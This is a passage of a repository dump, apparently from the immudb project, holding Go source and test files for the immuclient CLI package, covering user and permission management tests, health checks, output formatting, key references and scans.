ic.Imc.ChangeUserPassword(args)\n\t\t\t\trequire.ErrorContainsf(t, err, exp, \"TestUserChangePassword failed to change password: %s\", msg)\n\t\t\t},\n\t\t},\n\t}\n\tfor _, tt := range userCreateTests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\ttt.test(t, tt.password, tt.args, tt.expected)\n\t\t})\n\t}\n}\n\nfunc TestUserSetActive(t *testing.T) {\n\tic := setupTest(t)\n\n\tic.Pr = &test.PasswordReader{\n\t\tPass: []string{\"MyUser@9\", \"MyUser@9\"},\n\t}\n\tic.Connect(ic.Dialer)\n\n\t_, err := ic.Imc.UserCreate([]string{\"myuser\", \"readwrite\", \"defaultdb\"})\n\trequire.NoError(t, err, \"TestUserCreate fail\")\n\tvar userCreateTests = []struct {\n\t\tname     string\n\t\targs     []string\n\t\tpassword string\n\t\texpected string\n\t\ttest     func(*testing.T, string, []string, string)\n\t}{\n\t\t{\n\t\t\t\"SetActiveUser\",\n\t\t\t[]string{\"myuser\"},\n\t\t\t\"\",\n\t\t\t\"user status changed successfully\",\n\t\t\tfunc(t *testing.T, password string, args []string, exp string) {\n\t\t\t\tmsg, err := ic.Imc.SetActiveUser(args, true)\n\t\t\t\trequire.NoError(t, err, \"SetActiveUser fail\")\n\t\t\t\trequire.Contains(t, msg, exp, \"SetActiveUser failed to change status\")\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"Deactivate user\",\n\t\t\t[]string{\"myuser\"},\n\t\t\t\"\",\n\t\t\t\"user status changed successfully\",\n\t\t\tfunc(t *testing.T, password string, args []string, exp string) {\n\t\t\t\tmsg, err := ic.Imc.SetActiveUser(args, false)\n\t\t\t\trequire.NoError(t, err, \"Deactivate fail\")\n\t\t\t\trequire.Contains(t, msg, exp, \"Deactivate failed to change status\")\n\t\t\t},\n\t\t},\n\t}\n\tfor _, tt := range userCreateTests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\ttt.test(t, tt.password, tt.args, tt.expected)\n\t\t})\n\t}\n}\n\nfunc TestSetUserPermission(t *testing.T) {\n\tic := setupTest(t)\n\n\tic.Pr = &test.PasswordReader{\n\t\tPass: []string{\"MyUser@9\", \"MyUser@9\"},\n\t}\n\tic.Connect(ic.Dialer)\n\t_, err := ic.Imc.UserCreate([]string{\"myuser\", \"readwrite\", \"defaultdb\"})\n\trequire.NoError(t, err, \"TestUserCreate fail\")\n\tvar userCreateTests = []struct {\n\t\tname     string\n\t\targs     []string\n\t\tpassword string\n\t\texpected string\n\t\ttest     func(*testing.T, string, []string, string)\n\t}{\n\t\t{\n\t\t\t\"SetUserPermission user\",\n\t\t\t[]string{\"grant\", \"myuser\", \"admin\", \"defaultdb\"},\n\t\t\t\"MyUser@9\",\n\t\t\t\"permission changed successfully\",\n\t\t\tfunc(t *testing.T, password string, args []string, exp string) {\n\t\t\t\tmsg, err := ic.Imc.SetUserPermission(args)\n\t\t\t\trequire.NoError(t, err, \"SetUserPermission fail\")\n\t\t\t\trequire.Contains(t, msg, exp, \"SetUserPermission failed to set user permission\")\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"SetUserPermission user\",\n\t\t\t[]string{\"revoke\", \"myuser\", \"admin\", \"defaultdb\"},\n\t\t\t\"MyUser@9\",\n\t\t\t\"permission changed successfully\",\n\t\t\tfunc(t *testing.T, password string, args []string, exp string) {\n\t\t\t\tmsg, err := ic.Imc.SetUserPermission(args)\n\t\t\t\trequire.NoError(t, err, \"SetUserPermission fail\")\n\t\t\t\trequire.Contains(t, msg, exp, \"SetUserPermission failed to set user permission\")\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"SetUserPermission user\",\n\t\t\t[]string{\"grant\", \"myuser\", \"readwrite\", \"defaultdb\"},\n\t\t\t\"MyUser@9\",\n\t\t\t\"permission changed successfully\",\n\t\t\tfunc(t *testing.T, password string, args []string, exp string) {\n\t\t\t\tmsg, err := ic.Imc.SetUserPermission(args)\n\t\t\t\trequire.NoError(t, err, \"SetUserPermission fail\")\n\t\t\t\trequire.Contains(t, msg, exp, \"SetUserPermission failed to set user permission\")\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"SetUserPermission user\",\n\t\t\t[]string{\"grant\", \"myuser\", \"read\", \"defaultdb\"},\n\t\t\t\"MyUser@9\",\n\t\t\t\"permission changed successfully\",\n\t\t\tfunc(t *testing.T, password string, args []string, exp string) {\n\t\t\t\tmsg, err := ic.Imc.SetUserPermission(args)\n\t\t\t\trequire.NoError(t, err, \"SetUserPermission fail\")\n\t\t\t\trequire.Contains(t, msg, exp, \"SetUserPermission failed to set user permission\")\n\t\t\t},\n\t\t},\n\t}\n\tfor _, tt := range userCreateTests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\ttt.test(t, tt.password, tt.args, tt.expected)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/misc.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc\n\nimport (\n\t\"context\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/client\"\n)\n\nfunc (i *immuc) HealthCheck(args []string) (string, error) {\n\tctx := context.Background()\n\n\tif _, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn nil, immuClient.HealthCheck(ctx)\n\t}); err != nil {\n\t\trpcerrors := strings.SplitAfter(err.Error(), \"=\")\n\n\t\tif len(rpcerrors) > 1 {\n\t\t\treturn rpcerrors[len(rpcerrors)-1], nil\n\t\t}\n\n\t\treturn \"\", err\n\t}\n\n\treturn \"Health check OK\", nil\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/misc_errors_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc\n\n/*\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client/clienttest\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/status\"\n)\n\nfunc TestMiscErrors(t *testing.T) {\n\timmuClientMock := &clienttest.ImmuClientMock{}\n\tic := &immuc{ImmuClient: immuClientMock}\n\n\t// History errors\n\targs := []string{\"key1\"}\n\timmuClientMock.HistoryF = func(context.Context, *schema.HistoryOptions) (*schema.StructuredItemList, error) {\n\t\treturn nil, status.New(codes.Internal, \"history RPC error\").Err()\n\t}\n\tresp, err := ic.History(args)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \" history RPC error\", resp)\n\n\terrHistory := errors.New(\"history error\")\n\timmuClientMock.HistoryF = func(context.Context, *schema.HistoryOptions) (*schema.StructuredItemList, error) {\n\t\treturn nil, errHistory\n\t}\n\t_, err = ic.History(args)\n\trequire.ErrorIs(t, err, errHistory)\n\n\t// HealthCheck errors\n\timmuClientMock.HealthCheckF = func(context.Context) error {\n\t\treturn status.New(codes.Internal, \"health check RPC error\").Err()\n\t}\n\tresp, err = ic.HealthCheck(nil)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \" health check RPC error\", resp)\n\n\terrHealthCheck := errors.New(\"health check error\")\n\timmuClientMock.HealthCheckF = func(context.Context) error {\n\t\treturn errHealthCheck\n\t}\n\t_, err = ic.HealthCheck(nil)\n\trequire.ErrorIs(t, err, errHealthCheck)\n}\n*/\n"
  },
  {
    "path": "cmd/immuclient/immuc/misc_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestHealthCheck(t *testing.T) {\n\tic := setupTest(t)\n\n\tmsg, err := ic.Imc.HealthCheck(nil)\n\trequire.NoError(t, err, \"HealthCheck fail\")\n\trequire.Contains(t, msg, \"Health check OK\")\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/options.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc\n\nimport (\n\t\"github.com/codenotary/immudb/pkg/client\"\n)\n\ntype Options struct {\n\timmudbClientOptions *client.Options\n\tvalueOnly           bool\n\trevisionSeparator   string\n}\n\nfunc (o *Options) GetImmudbClientOptions() *client.Options {\n\treturn o.immudbClientOptions\n}\n\nfunc (o *Options) WithImmudbClientOptions(opts *client.Options) *Options {\n\to.immudbClientOptions = opts\n\treturn o\n}\n\nfunc (o *Options) GetValueOnly() bool {\n\treturn o.valueOnly\n}\n\nfunc (o *Options) WithValueOnly(valueOnly bool) *Options {\n\to.valueOnly = valueOnly\n\treturn o\n}\n\nfunc (o *Options) GetRevisionSeparator() string {\n\treturn o.revisionSeparator\n}\n\nfunc (o *Options) WithRevisionSeparator(revisionSeparator string) *Options {\n\to.revisionSeparator = revisionSeparator\n\treturn o\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/options_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestOptions(t *testing.T) {\n\to := &Options{}\n\n\tclOpts := &client.Options{}\n\to.WithImmudbClientOptions(clOpts)\n\trequire.Equal(t, clOpts, o.GetImmudbClientOptions())\n\n\to.WithValueOnly(true)\n\trequire.Equal(t, true, o.GetValueOnly())\n\n\to.WithRevisionSeparator(\"revsep\")\n\trequire.Equal(t, \"revsep\", o.GetRevisionSeparator())\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/print.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\n// PrintKV ...\nfunc PrintKV(\n\tentry *schema.Entry,\n\tverified, valueOnly bool,\n) string {\n\tif valueOnly {\n\t\treturn fmt.Sprintf(\"%s\\n\", entry.Value)\n\t}\n\n\tstr := &strings.Builder{}\n\tfmt.Fprintf(str, \"tx:       %d\\n\", entry.Tx)\n\n\tif entry.Revision != 0 {\n\t\tfmt.Fprintf(str, \"rev:      %d\\n\", entry.Revision)\n\t}\n\n\tfmt.Fprintf(str, \"key:      %s\\n\", entry.Key)\n\n\tif entry.Metadata != nil {\n\t\tfmt.Fprintf(str, \"metadata: {%s}\\n\", entry.Metadata)\n\t}\n\n\tfmt.Fprintf(str, \"value:    %s\\n\", entry.Value)\n\n\tif verified {\n\t\tfmt.Fprintf(str, \"verified: %t\\n\", verified)\n\t}\n\n\treturn str.String()\n}\n\n// PrintSetItem ...\nfunc PrintSetItem(set []byte, referencedkey []byte, score float64, txhdr *schema.TxHeader, verified bool) string {\n\treturn fmt.Sprintf(\"tx:\t\t%d\\nset:\t\t%s\\nreferenced key:\t\t%s\\nscore:\t\t%f\\nhash:\t\t%x\\nverified:\t%t\\n\",\n\t\ttxhdr.Id,\n\t\tset,\n\t\treferencedkey,\n\t\tscore,\n\t\ttxhdr.EH,\n\t\tverified)\n}\n\nfunc PrintServerInfo(resp *schema.ServerInfoResponse) string {\n\treturn fmt.Sprintf(\"version:\t%s\", resp.GetVersion())\n}\n\nfunc PrintHealth(res *schema.DatabaseHealthResponse) string {\n\treturn fmt.Sprintf(\"pendingRequests:\t\t%d\\nlastRequestCompletedAt:\t\t%s\\n\", res.PendingRequests, time.Unix(0, res.LastRequestCompletedAt*int64(time.Millisecond)))\n}\n\n// PrintState ...\nfunc PrintState(root *schema.ImmutableState) string {\n\tif root.TxId == 0 {\n\t\treturn fmt.Sprintf(\"database '%s' is empty\\n\", root.Db)\n\t}\n\n\tstr := strings.Builder{}\n\n\tif root.PrecommittedTxId == 0 {\n\t\tstr.WriteString(fmt.Sprintf(\"database:  %s\\n\", root.Db))\n\t\tstr.WriteString(fmt.Sprintf(\"txID:      %d\\n\", root.TxId))\n\t\tstr.WriteString(fmt.Sprintf(\"hash:      %x\\n\", root.TxHash))\n\t} else {\n\t\tstr.WriteString(fmt.Sprintf(\"database:         %s\\n\", root.Db))\n\t\tstr.WriteString(fmt.Sprintf(\"txID:             %d\\n\", root.TxId))\n\t\tstr.WriteString(fmt.Sprintf(\"hash:             %x\\n\", root.TxHash))\n\t\tstr.WriteString(fmt.Sprintf(\"precommittedTxID: %d\\n\", root.PrecommittedTxId))\n\t\tstr.WriteString(fmt.Sprintf(\"precommittedHash: %x\\n\", root.PrecommittedTxHash))\n\t}\n\n\treturn str.String()\n}\n\n// PrintTx ...\nfunc PrintTx(tx *schema.Tx, verified bool) string {\n\tstr := strings.Builder{}\n\tstr.WriteString(fmt.Sprintf(\"tx:\t\t%d\\n\", tx.Header.Id))\n\tstr.WriteString(fmt.Sprintf(\"time:\t\t%s\\n\", time.Unix(int64(tx.Header.Ts), 0)))\n\tstr.WriteString(fmt.Sprintf(\"entries:\t%d\\n\", tx.Header.Nentries))\n\tstr.WriteString(fmt.Sprintf(\"hash:\t\t%x\\n\", schema.TxHeaderFromProto(tx.Header).Alh()))\n\tif verified {\n\t\tstr.WriteString(fmt.Sprintf(\"verified:\t%t \\n\", verified))\n\t}\n\n\treturn str.String()\n}\n\n// PadRight ...\nfunc PadRight(str, pad string, length int) string {\n\tfor {\n\t\tstr += pad\n\t\tif len(str) > length {\n\t\t\treturn str[0:length]\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/references.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"context\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n)\n\nfunc (i *immuc) SetReference(args []string) (string, error) {\n\tvar reader io.Reader\n\n\tif len(args) > 1 {\n\t\treader = bytes.NewReader([]byte(args[1]))\n\t} else {\n\t\treader = bufio.NewReader(os.Stdin)\n\t}\n\n\tkey, err := ioutil.ReadAll(bytes.NewReader([]byte(args[0])))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tvar buf bytes.Buffer\n\ttee := io.TeeReader(reader, &buf)\n\treferencedKey, err := ioutil.ReadAll(tee)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tctx := context.Background()\n\tresponse, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.SetReference(ctx, key, referencedKey)\n\t})\n\tif err != nil {\n\t\trpcerrors := strings.SplitAfter(err.Error(), \"=\")\n\t\tif len(rpcerrors) > 1 {\n\t\t\treturn rpcerrors[len(rpcerrors)-1], nil\n\t\t}\n\t\treturn \"\", err\n\t}\n\n\tvalue, err := ioutil.ReadAll(&buf)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\ttxhdr := response.(*schema.TxHeader)\n\treturn PrintKV(\n\t\t&schema.Entry{\n\t\t\tKey:   []byte(args[0]),\n\t\t\tValue: value,\n\t\t\tTx:    txhdr.Id,\n\t\t},\n\t\tfalse,\n\t\tfalse,\n\t), nil\n}\n\nfunc (i *immuc) VerifiedSetReference(args []string) (string, error) {\n\tvar reader io.Reader\n\n\tif len(args) > 1 {\n\t\treader = bytes.NewReader([]byte(args[1]))\n\t} else {\n\t\treader = bufio.NewReader(os.Stdin)\n\t}\n\n\tkey, err := ioutil.ReadAll(bytes.NewReader([]byte(args[0])))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tvar buf bytes.Buffer\n\ttee := io.TeeReader(reader, &buf)\n\treferencedKey, err := ioutil.ReadAll(tee)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tctx := context.Background()\n\tresponse, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.VerifiedSetReference(ctx, key, referencedKey)\n\t})\n\tif err != nil {\n\t\trpcerrors := strings.SplitAfter(err.Error(), \"=\")\n\t\tif len(rpcerrors) > 1 {\n\t\t\treturn rpcerrors[len(rpcerrors)-1], nil\n\t\t}\n\t\treturn \"\", err\n\t}\n\n\tvalue, err := ioutil.ReadAll(&buf)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\ttxhdr := response.(*schema.TxHeader)\n\treturn PrintKV(\n\t\t&schema.Entry{\n\t\t\tKey:   []byte(args[0]),\n\t\t\tValue: value,\n\t\t\tTx:    txhdr.Id,\n\t\t},\n\t\ttrue,\n\t\tfalse,\n\t), nil\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/references_errors_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc\n\n/*\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/clienttest\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/status\"\n)\n\nfunc TestReferencesErrors(t *testing.T) {\n\timmuClientMock := &clienttest.ImmuClientMock{}\n\tic := &immuc{ImmuClient: immuClientMock}\n\n\t// Reference errors\n\targs := []string{\"refKey1\", \"key1\"}\n\timmuClientMock.ReferenceF = func(context.Context, []byte, []byte, *schema.Index) (*schema.Index, error) {\n\t\treturn nil, status.New(codes.Internal, \"reference RPC error\").Err()\n\t}\n\tresp, err := ic.Reference(args)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \" reference RPC error\", resp)\n\n\terrReference := errors.New(\"reference error\")\n\timmuClientMock.ReferenceF = func(context.Context, []byte, []byte, *schema.Index) (*schema.Index, error) {\n\t\treturn nil, errReference\n\t}\n\t_, err = ic.Reference(args)\n\trequire.ErrorIs(t, err, errReference)\n\n\t// SafeReference errors\n\timmuClientMock.SafeReferenceF = func(context.Context, []byte, []byte, *schema.Index) (*client.VerifiedIndex, error) {\n\t\treturn nil, status.New(codes.Internal, \"safe reference RPC error\").Err()\n\t}\n\tresp, err = ic.SafeReference(args)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \" safe reference RPC error\", resp)\n\n\terrSafeReference := errors.New(\"safe reference error\")\n\timmuClientMock.SafeReferenceF = func(context.Context, []byte, []byte, *schema.Index) (*client.VerifiedIndex, error) {\n\t\treturn nil, errSafeReference\n\t}\n\t_, err = ic.SafeReference(args)\n\trequire.ErrorIs(t, err, errSafeReference)\n}\n*/\n"
  },
  {
    "path": "cmd/immuclient/immuc/references_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestReference(t *testing.T) {\n\tic := setupTest(t)\n\n\t_, _ = ic.Imc.Set([]string{\"key\", \"val\"})\n\n\tmsg, err := ic.Imc.SetReference([]string{\"val\", \"key\"})\n\trequire.NoError(t, err, \"Reference fail\")\n\trequire.Contains(t, msg, \"value\", \"Reference failed\")\n}\n\nfunc TestVerifiedSetReference(t *testing.T) {\n\tt.SkipNow()\n\n\tic := setupTest(t)\n\n\t_, _ = ic.Imc.Set([]string{\"key\", \"val\"})\n\n\tmsg, err := ic.Imc.VerifiedSetReference([]string{\"val\", \"key\"})\n\trequire.NoError(t, err, \"SafeReference fail\")\n\trequire.Contains(t, msg, \"hash\", \"SafeReference failed\")\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/scanners.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n)\n\nfunc (i *immuc) ZScan(args []string) (string, error) {\n\tset := []byte(args[0])\n\tctx := context.Background()\n\n\tresponse, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.ZScan(ctx, &schema.ZScanRequest{Set: set, NoWait: true})\n\t})\n\tif err != nil {\n\t\trpcerrors := strings.SplitAfter(err.Error(), \"=\")\n\n\t\tif len(rpcerrors) > 1 {\n\t\t\treturn rpcerrors[len(rpcerrors)-1], nil\n\t\t}\n\n\t\treturn \"\", err\n\t}\n\n\tstr := strings.Builder{}\n\n\tzEntries := response.(*schema.ZEntries)\n\tif len(zEntries.Entries) == 0 {\n\t\tstr.WriteString(\"no entries\")\n\t\treturn str.String(), nil\n\t}\n\n\tfor j, entry := range zEntries.Entries {\n\t\tif j > 0 {\n\t\t\tstr.WriteString(\"\\n\")\n\t\t}\n\t\tstr.WriteString(PrintKV(entry.Entry, false, i.options.valueOnly))\n\t}\n\n\treturn str.String(), nil\n}\n\nfunc (i *immuc) Scan(args []string) (res string, err error) {\n\tprefix := []byte(args[0])\n\n\tctx := context.Background()\n\n\tresponse, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.Scan(ctx, &schema.ScanRequest{Prefix: prefix, NoWait: true})\n\t})\n\tif err != nil {\n\t\trpcerrors := strings.SplitAfter(err.Error(), \"=\")\n\t\tif len(rpcerrors) > 1 {\n\t\t\treturn rpcerrors[len(rpcerrors)-1], nil\n\t\t}\n\t\treturn \"\", err\n\t}\n\n\tstr := strings.Builder{}\n\n\tentries := response.(*schema.Entries)\n\tif len(entries.Entries) == 0 {\n\t\tstr.WriteString(\"no entries\")\n\t\treturn str.String(), nil\n\t}\n\n\tfor j, entry := range entries.Entries {\n\t\tif j > 0 {\n\t\t\tstr.WriteString(\"\\n\")\n\t\t}\n\t\tstr.WriteString(PrintKV(entry, false, i.options.valueOnly))\n\t}\n\n\treturn str.String(), nil\n}\n\nfunc (i *immuc) Count(args []string) (string, error) {\n\tprefix := []byte(args[0])\n\tctx := context.Background()\n\n\tresponse, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.Count(ctx, prefix)\n\t})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn fmt.Sprint(response.(*schema.EntryCount).Count), nil\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/scanners_errors_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc\n\n/*\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"testing\"\n\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/status\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client/clienttest\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestScannersErrors(t *testing.T) {\n\timmuClientMock := &clienttest.ImmuClientMock{}\n\tic := &immuc{ImmuClient: immuClientMock}\n\n\t// ZScan errors\n\targs := []string{\"set1\"}\n\timmuClientMock.ZScanF = func(context.Context, *schema.ZScanOptions) (*schema.ZStructuredItemList, error) {\n\t\treturn nil, status.New(codes.Internal, \"zscan RPC error\").Err()\n\t}\n\tresp, err := ic.ZScan(args)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \" zscan RPC error\", resp)\n\n\terrZScan := errors.New(\"zscan error\")\n\timmuClientMock.ZScanF = func(context.Context, *schema.ZScanOptions) (*schema.ZStructuredItemList, error) {\n\t\treturn nil, errZScan\n\t}\n\t_, err = ic.ZScan(args)\n\trequire.ErrorIs(t, err, errZScan)\n\n\timmuClientMock.ZScanF = func(context.Context, *schema.ZScanOptions) (*schema.ZStructuredItemList, error) {\n\t\treturn &schema.ZStructuredItemList{}, nil\n\t}\n\tresp, err = ic.ZScan(args)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"0\", resp)\n\n\t// IScan errors\n\t_, err = ic.IScan([]string{\"X\"})\n\trequire.Error(t, err)\n\n\t_, err = ic.IScan([]string{\"1\", \"X\"})\n\trequire.Error(t, err)\n\n\targs = []string{\"1\", \"2\"}\n\timmuClientMock.IScanF = func(context.Context, uint64, uint64) (*schema.SPage, error) {\n\t\treturn nil, status.New(codes.Internal, \"iscan RPC error\").Err()\n\t}\n\tresp, err = ic.IScan(args)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \" iscan RPC error\", resp)\n\n\terrIScan := errors.New(\"iscan error\")\n\timmuClientMock.IScanF = func(context.Context, uint64, uint64) (*schema.SPage, error) {\n\t\treturn nil, errIScan\n\t}\n\t_, err = ic.IScan(args)\n\trequire.ErrorIs(t, err, errIScan)\n\n\timmuClientMock.IScanF = func(context.Context, uint64, uint64) (*schema.SPage, error) {\n\t\treturn &schema.SPage{}, nil\n\t}\n\tresp, err = ic.IScan(args)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"0\", resp)\n\n\t// Scan errors\n\targs = []string{\"prefix1\"}\n\timmuClientMock.ScanF = func(context.Context, *schema.ScanOptions) (*schema.StructuredItemList, error) {\n\t\treturn nil, status.New(codes.Internal, \"scan RPC error\").Err()\n\t}\n\tresp, err = ic.Scan(args)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \" scan RPC error\", resp)\n\n\terrScan := errors.New(\"scan error\")\n\timmuClientMock.ScanF = func(context.Context, *schema.ScanOptions) (*schema.StructuredItemList, error) {\n\t\treturn nil, errScan\n\t}\n\t_, err = 